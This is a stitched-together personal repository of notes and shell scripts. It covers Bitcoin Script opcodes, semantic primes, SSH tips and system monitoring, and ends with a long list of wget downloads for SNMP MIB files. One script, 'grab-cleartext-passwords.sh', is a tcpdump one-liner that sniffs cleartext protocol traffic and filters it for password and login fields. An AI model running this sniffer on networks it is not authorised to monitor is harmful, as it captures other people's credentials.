OP_BOOLOR 155 0x9b a b out If a or b is not 0, the output is 1. Otherwise 0.
OP_NUMEQUAL 156 0x9c a b out Returns 1 if the numbers are equal, 0 otherwise.
OP_NUMEQUALVERIFY 157 0x9d a b Nothing / fail Same as OP_NUMEQUAL, but runs OP_VERIFY afterward.
OP_NUMNOTEQUAL 158 0x9e a b out Returns 1 if the numbers are not equal, 0 otherwise.
OP_LESSTHAN 159 0x9f a b out Returns 1 if a is less than b, 0 otherwise.
OP_GREATERTHAN 160 0xa0 a b out Returns 1 if a is greater than b, 0 otherwise.
OP_LESSTHANOREQUAL 161 0xa1 a b out Returns 1 if a is less than or equal to b, 0 otherwise.
OP_GREATERTHANOREQUAL 162 0xa2 a b out Returns 1 if a is greater than or equal to b, 0 otherwise.
OP_MIN 163 0xa3 a b out Returns the smaller of a and b.
OP_MAX 164 0xa4 a b out Returns the larger of a and b.
OP_WITHIN 165 0xa5 x min max out Returns 1 if x is within the specified range (left-inclusive), 0 otherwise.
Crypto
Word Opcode Hex Input Output Description
OP_RIPEMD160 166 0xa6 in hash The input is hashed using RIPEMD-160.
OP_SHA1 167 0xa7 in hash The input is hashed using SHA-1.
OP_SHA256 168 0xa8 in hash The input is hashed using SHA-256.
OP_HASH160 169 0xa9 in hash The input is hashed twice: first with SHA-256 and then with RIPEMD-160.
OP_HASH256 170 0xaa in hash The input is hashed two times with SHA-256.
OP_CODESEPARATOR 171 0xab Nothing Nothing All of the signature checking words will only match signatures to the data after the most recently-executed OP_CODESEPARATOR.
OP_CHECKSIG 172 0xac sig pubkey True / false The entire transaction's outputs, inputs, and script (from the most recently-executed OP_CODESEPARATOR to the end) are hashed. The signature used by OP_CHECKSIG must be a valid signature for this hash and public key. If it is, 1 is returned, 0 otherwise.
OP_CHECKSIGVERIFY 173 0xad sig pubkey Nothing / fail Same as OP_CHECKSIG, but OP_VERIFY is executed afterward.
OP_CHECKMULTISIG 174 0xae x sig1 sig2 ... <number of signatures> pub1 pub2 <number of public keys> True / False Compares the first signature against each public key until it finds an ECDSA match. Starting with the subsequent public key, it compares the second signature against each remaining public key until it finds an ECDSA match. The process is repeated until all signatures have been checked or not enough public keys remain to produce a successful result. All signatures need to match a public key. Because public keys are not checked again if they fail any signature comparison, signatures must be placed in the scriptSig using the same order as their corresponding public keys were placed in the scriptPubKey or redeemScript. If all signatures are valid, 1 is returned, 0 otherwise. Due to a bug, one extra unused value is removed from the stack.
OP_CHECKMULTISIGVERIFY 175 0xaf x sig1 sig2 ... <number of signatures> pub1 pub2 ... <number of public keys> Nothing / fail Same as OP_CHECKMULTISIG, but OP_VERIFY is executed afterward.
Locktime
Word Opcode Hex Input Output Description
OP_CHECKLOCKTIMEVERIFY (previously OP_NOP2) 177 0xb1 x x / fail Marks transaction as invalid if the top stack item is greater than the transaction's nLockTime field, otherwise script evaluation continues as though an OP_NOP was executed. Transaction is also invalid if 1. the stack is empty; or 2. the top stack item is negative; or 3. the top stack item is greater than or equal to 500000000 while the transaction's nLockTime field is less than 500000000, or vice versa; or 4. the input's nSequence field is equal to 0xffffffff. The precise semantics are described in BIP 0065
OP_CHECKSEQUENCEVERIFY (previously OP_NOP3) 178 0xb2 x x / fail Marks transaction as invalid if the relative lock time of the input (enforced by BIP 0068 with nSequence) is not equal to or longer than the value of the top stack item. The precise semantics are described in BIP 0112.
Pseudo-words
These words are used internally for assisting with transaction matching. They are invalid if used in actual scripts.
Word Opcode Hex Description
OP_PUBKEYHASH 253 0xfd Represents a public key hashed with OP_HASH160.
OP_PUBKEY 254 0xfe Represents a public key compatible with OP_CHECKSIG.
OP_INVALIDOPCODE 255 0xff Matches any opcode that is not yet assigned.
Reserved words
Any opcode not assigned is also reserved. Using an unassigned opcode makes the transaction invalid.
Word Opcode Hex When used...
OP_RESERVED 80 0x50 Transaction is invalid unless occuring in an unexecuted OP_IF branch
OP_VER 98 0x62 Transaction is invalid unless occuring in an unexecuted OP_IF branch
OP_VERIF 101 0x65 Transaction is invalid even when occuring in an unexecuted OP_IF branch
OP_VERNOTIF 102 0x66 Transaction is invalid even when occuring in an unexecuted OP_IF branch
OP_RESERVED1 137 0x89 Transaction is invalid unless occuring in an unexecuted OP_IF branch
OP_RESERVED2 138 0x8a Transaction is invalid unless occuring in an unexecuted OP_IF branch
OP_NOP1, OP_NOP4-OP_NOP10 176, 179-185 0xb0, 0xb3-0xb9 The word is ignored. Does not mark transaction as invalid.
Scripts
This is a list of interesting scripts. Keep in mind that all constants actually use the data-pushing commands above. Note that there is a small number of standard script forms that are relayed from node to node; non-standard scripts are accepted if they are in a block, but nodes will not relay them.
Standard Transaction to Bitcoin address (pay-to-pubkey-hash)
scriptPubKey: OP_DUP OP_HASH160 <pubKeyHash> OP_EQUALVERIFY OP_CHECKSIG
scriptSig: <sig> <pubKey>
To demonstrate how scripts look on the wire, here is a raw scriptPubKey:
76 A9 14
OP_DUP OP_HASH160 Bytes to push
89 AB CD EF AB BA AB BA AB BA AB BA AB BA AB BA AB BA AB BA 88 AC
Data to push OP_EQUALVERIFY OP_CHECKSIG
Note: scriptSig is in the input of the spending transaction and scriptPubKey is in the output of the previously unspent i.e. "available" transaction.
Here is how each word is processed:
Stack Script Description
Empty. <sig> <pubKey> OP_DUP OP_HASH160 <pubKeyHash> OP_EQUALVERIFY OP_CHECKSIG scriptSig and scriptPubKey are combined.
<sig> <pubKey> OP_DUP OP_HASH160 <pubKeyHash> OP_EQUALVERIFY OP_CHECKSIG Constants are added to the stack.
<sig> <pubKey> <pubKey> OP_HASH160 <pubKeyHash> OP_EQUALVERIFY OP_CHECKSIG Top stack item is duplicated.
<sig> <pubKey> <pubHashA> <pubKeyHash> OP_EQUALVERIFY OP_CHECKSIG Top stack item is hashed.
<sig> <pubKey> <pubHashA> <pubKeyHash> OP_EQUALVERIFY OP_CHECKSIG Constant added.
<sig> <pubKey> OP_CHECKSIG Equality is checked between the top two stack items.
true Empty. Signature is checked for top two stack items.
Obsolete pay-to-pubkey transaction
OP_CHECKSIG is used directly without first hashing the public key. This was used by early versions of Bitcoin where people paid directly to IP addresses, before Bitcoin addresses were introduced. scriptPubKeys of this transaction form are still recognized as payments to user by Bitcoin Core. The disadvantage of this transaction form is that the whole public key needs to be known in advance, implying longer payment addresses, and that it provides less protection in the event of a break in the ECDSA signature algorithm.
scriptPubKey: <pubKey> OP_CHECKSIG
scriptSig: <sig>
Checking process:
Stack Script Description
Empty. <sig> <pubKey> OP_CHECKSIG scriptSig and scriptPubKey are combined.
<sig> <pubKey> OP_CHECKSIG Constants are added to the stack.
true Empty. Signature is checked for top two stack items.
Provably Unspendable/Prunable Outputs
The standard way to mark a transaction as provably unspendable is with a scriptPubKey of the following form:
scriptPubKey: OP_RETURN {zero or more ops}
OP_RETURN immediately marks the script as invalid, guaranteeing that no scriptSig exists that could possibly spend that output. Thus the output can be immediately pruned from the UTXO set even if it has not been spent. eb31ca1a4cbd97c2770983164d7560d2d03276ae1aee26f12d7c2c6424252f29 is an example: it has a single output of zero value, thus giving the full 0.125BTC fee to the miner who mined the transaction without adding an entry to the UTXO set. You can also use OP_RETURN to add data to a transaction without the data ever appearing in the UTXO set, as seen in 1a2e22a717d626fc5db363582007c46924ae6b28319f07cb1b907776bd8293fc; P2Pool does this with the share chain hash txout in the coinbase of blocks it creates.
Anyone-Can-Spend Outputs
Conversely a transaction can be made spendable by anyone at all:
scriptPubKey: (empty)
scriptSig: OP_TRUE
With some software changes such transactions can be used as a way to donate funds to miners in addition to transaction fees: any miner who mines such a transaction can also include an additional one after it sending the funds to an address they control. This mechanism may be used in the future for fidelity bonds to sacrifice funds in a provable way.
Anyone-Can-Spend outputs are currently considered non-standard, and are not relayed on the P2P network.
Transaction puzzle
Transaction a4bfa8ab6435ae5f25dae9d89e4eb67dfa94283ca751f393c1ddc5a837bbc31b is an interesting puzzle.
scriptPubKey: OP_HASH256 6fe28c0ab6f1b372c1a6a246ae63f74f931e8365e15a089c68d6190000000000 OP_EQUAL
scriptSig:
To spend the transaction you need to come up with some data such that hashing the data twice results in the given hash.
Stack Script Description
Empty. <data> OP_HASH256 <given_hash> OP_EQUAL
<data> OP_HASH256 <given_hash> OP_EQUAL scriptSig added to the stack.
<data_hash> <given_hash> OP_EQUAL The data is hashed.
<data_hash> <given_hash> OP_EQUAL The given hash is pushed to the stack.
true Empty. The hashes are compared, leaving true on the stack.
This transaction was successfully spent by 09f691b2263260e71f363d1db51ff3100d285956a40cc0e4f8c8c2c4a80559b1. The required data happened to be the Genesis block, and the given hash was the genesis block hash. Note that while transactions like this are fun, they are not secure, because they do not contain any signatures and thus any transaction attempting to spend them can be replaced with a different transaction sending the funds somewhere else.
<file_sep>/notes/markdown/semantic-primitives.md
Semantic primes are by definition universal and primitive. They are universal in the fact that
they can be translated literally into any known language and will still have the same semantic
representation. They are primitive in that most of them are abstract, and all of them are
"indefinable" because they cannot be defined using only other primes.[1]
Proponents of the NSM theory argue that every language on the globe shares a core vocabulary of
concepts. In 1994 and 2002, Goddard and Wierzbicka studied languages across the globe and found
strong evidence supporting this argument.[1]
Wierzbicka's 1972 study proposed 14 semantic primes. That number was expanded to 60 in 2002 by
Wierzbicka and Goddard, and the current agreed-upon number is 63, as put forth by Goddard in
2010.[1]
Each language's translations of the semantic primes are called exponents. Below is a list of
English exponents, or the English translation of the semantic primitives. It is very important
to realize that some of the exponents in the following list can be associated with meanings in
English that are not shared with other languages. However, when used as an exponent in the
Natural Semantic Metalanguage, we are only concerned with the meanings that are universal.
The English exponents of semantic primitives:[5][edit]
substantives
I, YOU, SOMEONE, PEOPLE, SOMETHING/THING, BODY
relational substantives
KIND, PART
determiners
THIS, THE SAME, OTHER/ELSE
quantifiers
ONE, TWO, MUCH/MANY, SOME, ALL
evaluators
GOOD, BAD
descriptors
BIG, SMALL
mental predicates
THINK, KNOW, WANT, FEEL, SEE, HEAR
speech
SAY, WORDS, TRUE
actions, events, movement, contact
DO, HAPPEN, MOVE, TOUCH
location, existence, possession, specification
BE (SOMEWHERE), THERE IS, HAVE, BE (SOMEONE/SOMETHING)
life and death
LIVE, DIE
time
WHEN/TIME, NOW, BEFORE, AFTER, A LONG TIME, A SHORT TIME, FOR SOME TIME, MOMENT
space
WHERE/PLACE, HERE, ABOVE, BELOW, FAR, NEAR, SIDE, INSIDE
logical concepts
NOT, MAYBE, CAN, BECAUSE, IF
intensifier, augmentor
VERY, MORE
similarity
LIKE/WAY
<file_sep>/notes/markdown/ssh-tips.md
# useful ssh operations
## manual ssh-copy-id
$ < ~/.ssh/id_rsa.pub ssh k@$REMOTEIP 'mkdir -p ssh; cat >> .s
## remote vim
$ ssh -t $REMOTEHOST vim /path/to/file
## operate on remote files locally
$ mkdir gallery_src
$ sshfs $HOST:/path/to/gallery_src gallery_src
$ cd gallery_src
# useful client config options
## dealing with multiple usernames
Host example* work
Hostname %h.example.com
User k
## x11 forwarding
Forward X11 yes
## port forwarding
Host example2
LocalForward 5433 localhost:5432
<file_sep>/utilities/lock_screen.sh
#!/bin/bash
scrot /tmp/screenshot.png
convert /tmp/screenshot.png -resize 50% /tmp/screenblur.png
convert /tmp/screenblur.png -blur 2x8 /tmp/screenblur.png
convert /tmp/screenblur.png -resize 200% /tmp/screenblur.png
convert /tmp/screenblur.png -blur 2x8 /tmp/screenblur.png
i3lock -i /tmp/screenblur.png
<file_sep>/scripting/bash/tempcheck.sh
#!/bin/bash
# uses lm-sensors to log HOT or COLD to std out
# bash
# kegn
temp=$(sensors | grep '\Core 0' | awk '{print $3}' | cut -c2,3)
while [ $((temp)) -lt 46 ]; do
echo COLD $temp
temp=$(sensors | grep '\Core 0' | awk '{print $3}' | cut -c2,3)
done
echo HOT $temp
<file_sep>/scripting/bash/stats.sh
#!/bin/bash
titl() {
printf "\n\n\n\t$1\n"
}
# The ss command is used to show socket statistics. It can display stats for PACKET sockets, TCP sockets, UDP sockets, DCCP sockets, RAW sockets, Unix domain sockets, and more. It allows showing information similar to the netstat command, but it can display more TCP and state information.
titl ss
ss -t -a
# The vmstat command reports virtual memory statistics about processes, memory, paging, block IO, traps, and CPU utilization.
titl vmstat
vmstat 2 2
# The netstat command shows network connections, routing tables, interface statistics, masquerade connections and multicast memberships. The results are dependant on the first argument:
# (no argument given) - all active sockets of all configured address families will be listed.
# --route, -r - the kernel routing tables are shown, output is identical to route -e (note: in order to use route, elevated privileges might be needed whereas netstat -r can be run with user privileges instead).
# --groups, -g - lists multicast group membership information for IPv4 and IPv6
# --interfaces, -i - lists all network interfaces and certain specific properties
# --statistics, -s - lists a summary of statistics for each protocol, similar to SNMP output
# --masquerade, -M - lists masqueraded connections on pre-2.4 kernels. On newer kernels, use cat /proc/net/ip_conntrack instead. In order for this to work, the ipt_MASQUERADE kernel module has to be loaded. This applies to 2.x and 3.x kernels.
titl netstat
netstat -aln --tcp
# iptraf is a network monitoring utility for IP networks and can be used to monitor the load on an IP network. It intercepts packets on the network and gives out various pieces of information about the current IP traffic over it.
# iptraf gathers data like TCP connection packet and byte counts, interface statistics and activity indicators, TCP/UDP traffic breakdowns, and LAN station packet and byte counts. IPTraf features include an IP traffic monitor which shows TCP flag information, packet and byte counts, ICMP details, OSPF packet types, and oversized IP packet warnings.
titl iptraf
#on arch host
# sudo iptraf-ng
# The pstree command shows the same processes as ps and top, but the output is formatted as a tree. The tree is rooted at pid (or init if pid is omitted), and if a username is specified the tree will root at all processes owned by that username. pstree provides an easy way to track back a process to its parent process id (PPID). Output between square brackets prefixed by a number are identical branches of processes grouped together, the prefixed number represents the repetition count. Grouped child threads are shown between square brackets as well but the process name will be shown between curly braces as an addition. The last line of the output shows the number of children for a given process.
titl pstree
pstree
titl w
w
titl lsof
sudo lsof +d /var/log
# The free command shows a current overview of the total amount of both physical and virtual memory of a system, as well as the amount of free memory, memory in use and buffers used by the kernel.
titl free
free -h
# sar
titl sar
echo "The -b option switch shows output related to I/O and transfer rate "
echo "Using the -d option sar will output disk statistics"
printf "Some of the most important options to be used with sar are:
-c System calls
-p and -w Paging and swapping activity
-q Run queue
-r Free memory and swap over time
"
sar -d
printf "\n\n"
sar -b
<file_sep>/scripting/bash/grab-cleartext-passwords.sh
#!/bin/sh -
# Grab many cleartext protocol passwords with tcpdump
tcpdump -n -A -s0 port http or port ftp or port smtp or port imap or port pop3 | egrep -i 'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd=|password=|pass:|user:|username:|password:|login:|pass |user ' --color=auto --line-buffered -B20
<file_sep>/notes/void-linux-boot-no-framebuffer.txt
#!/bin/sh -
# Gotta love these programmers with 20/10 vision who create
# software useable only by those with 20/10 vision
# Hey, if you can't read 6 point, gray on black writing, you have no business using the software!
# And then there are the framebuffers that change the video mode, so your video projector or KVM-attached monitor must keep retrying, and you miss half the boot. If you ever find yourself nostalgic about the DEC PDP-11's no-style, all characters, 80x24 character output, read on...
# In Void Linux (as of 9/11/2016), booting without a framebuffer (and therefore with 80 char x 24char white output) is as simple as adding nomodeset in the right place, and then recompiling grub. Specifically...
# vim /etc/default/grub
# Find line GRUB_CMDLINE_LINUX_DEFAULT="loglevel=4"
# NOTE: If the loglevel value is something other than 4, that's OK, you've found the right line.
# Change to GRUB_CMDLINE_LINUX_DEFAULT="loglevel=4 nomodeset"
# NOTE: If the loglevel value was something other than 4, leave it at its original value, and just add the space and nomodeset.
# Save the file.
# update-grub
# Reboot, and enjoy your large font, resolveable by any projector screen.
#
<file_sep>/scripting/bash/domain-resolver.sh
#!/bin/bash
# automated domain name resolve bash script
# rtfm
echo "Enter Class C Range: "
read range
for ip in {1..254..1};do
host $range.$ip |grep "name pointer" | cut -d" " -f5
done
<file_sep>/scripting/bash/get-throughput.sh
#!/bin/sh -
tcpdump -w - |pv -bert >/dev/null
<file_sep>/scripting/bash/getallmibs.sh
wget http://www.circitor.fr/Mibs/Mib/A/A10-AX-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A10-COMMON-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A100-R1-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-AUDL-r1-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-3GMODEM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-8021PAE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-AAA-NASID-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-AAL5-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-ACFP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-ACL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-AFC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-ARP-RATELIMIT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-ATM-DXI-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-BFD-STD-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-BLG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-CBQOS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-CBQOS2-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-CFCARD-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-COMMON-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-CONFIG-MAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-DAR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-DEVICE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-DHCP-SERVER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-DHCPR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-DHCPRELAY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-DHCPS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-DHCPSNOOP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-DLDP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-DLDP2-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-DNS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-DOMAIN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-DOT11-ACMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-DOT11-APMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-DOT11-CFG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-DOT11-CFGEXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-DOT11-QOS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-DOT11-REF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-DOT11-ROAM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-DOT11-RRM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-DOT11-SA-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-DOT11-STATION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-DOT11-WIDS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-DOT11-WLANEXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-DOT11S-MESH-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-DOT3-EFM-EPON-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-DSP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-DVPN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-E1-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-E1T1VI-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-EFM-COMMON-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-ENTITY-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-ENTITY-VENDORTYPE-OID-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-ENTRELATION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-EPON-DEVICE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-EPON-FB-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-EPON-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-EPON-UNI-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-EVC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-FCOE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-FIREWALL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-FLASH-MAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-FLOWTEMPLATE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-FR-QOS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-FTM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-GRE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-HGMP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-IDS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-IF-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-IFQOS2-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-IKE-MONITOR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-IP-ADDRESS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-IP-BROADCAST-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-IP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-IPA-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-IPSEC-MONITOR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-IPV6-ADDRESS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-IPX-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-ISDN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-L2ISOLATE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-L2VPN-PWE3-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-L4RDT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-LAG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-LB-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-LI-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-LLDP-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-LPBKDT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-LswARP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-LswDEVM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-LswDHCP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-LswIGSP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-LswINF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-LswMAM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-LswMSTP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-LswMix-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-LswQos-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-LswRSTP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-LswSMON-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-LswTRAP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-LswVLAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-MAC-INFORMATION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-MCDR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-MINM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-MIRRORGROUP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-MLSR-SYSTEM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-MPLS-BGP-VPN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-MPLS-LDP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-MPLS-LSR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-MPLSOAM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-MPLSOAM-PS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-MPM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-MULTICAST-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-NAT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-NDEC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-NET-MAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-NQA-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-NS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-NTP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-OBJECT-INFO-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-OID-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-PBR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-PORT-SECURITY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-PORTAL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-POSA-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-POWER-ETH-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-PPP-OVER-SONET-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-PPPOE-SERVER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-PROT-PRIORITY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-PROTOCOL-VLAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-QINQ-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-QOS-CAPABILITY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-QOS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-QOS-PROFILE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-RADIUS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-RCP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-RCR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-RPR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-RRPP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-RS485-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-SNA-DLSW-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-SNA-DLSW-MIB.mib
